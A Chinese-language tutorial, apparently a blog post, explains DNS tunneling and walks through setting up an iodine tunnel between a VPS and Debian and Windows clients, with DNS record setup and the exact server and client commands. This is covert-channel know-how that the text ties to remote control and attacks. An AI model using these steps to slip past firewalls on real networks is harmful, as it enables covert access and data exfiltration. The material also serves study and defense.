DNS隧道
DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,GJ者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT GJ中扮演着至关重要的角色。
DNS隧道依据其实现方式大致可分为直连和中继两类。
直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络GJ的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。
中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。
实现DNS隧道的关键要点:
dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。
iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能。
iodine
iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。
环境搭建
域名解析配置
因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名 —> 域名注册及域名解析
在添加A记录的基础上,再添加一个NS记录(将子域名指定其他DNS服务器解析,子域名字随便自己定)
下图:做一条A记录解析dnsceshi
添加一个NS记录dns1指向到上面的A记录
在服务器端安装(本人的服务端debian11)
apt install iodine
安装成功后,通过iodined -h,显示如下,说明这个安装完成
iodined -f -c -P root@123456 172.16.10.1 dns1.***.com -DD
结果:
通过ifconfig查看多出来一张虚拟网卡。也可以使用ip addr查看。
客户端一:debian系统
同样的方式apt install iodine安装
iodine -f -P root@123456 dns1.***.com ,就可以看到如下图。说明连接上了。
连接成功后,客户端上新建了一个dns0的网卡,IP地址为172.16.10.2,与服务端生成的虚拟网卡的地址处于同一网段
ping 服务器 ping 172.16.10.1 由于我的VPS是国外的,time在200ms多
客户端连接服务端vps ssh root@172.16.10.1
关于window客户端,这里不再细操作。下载iodine
还需要安装 tap 网卡驱动程序,找了一个下载地址 http://www.qudong51.net/qudong/981.html
打开下载好的 tap 网卡驱动程序,一直下一步下一步安装就行。
然后就可以启动客户端程序了,注意下载下来的 dll 文件要和 exe 在一个目录下,不能只复制一个 exe 到目标主机上,而且要以管理员权限运行下面的命令。
如果出现 Connection setup complete, transmitting data. 就表示 DNS 隧道就已经建立了。
这时如果去 ping 服务端自定义的虚拟 IP 也是可以 ping 通的。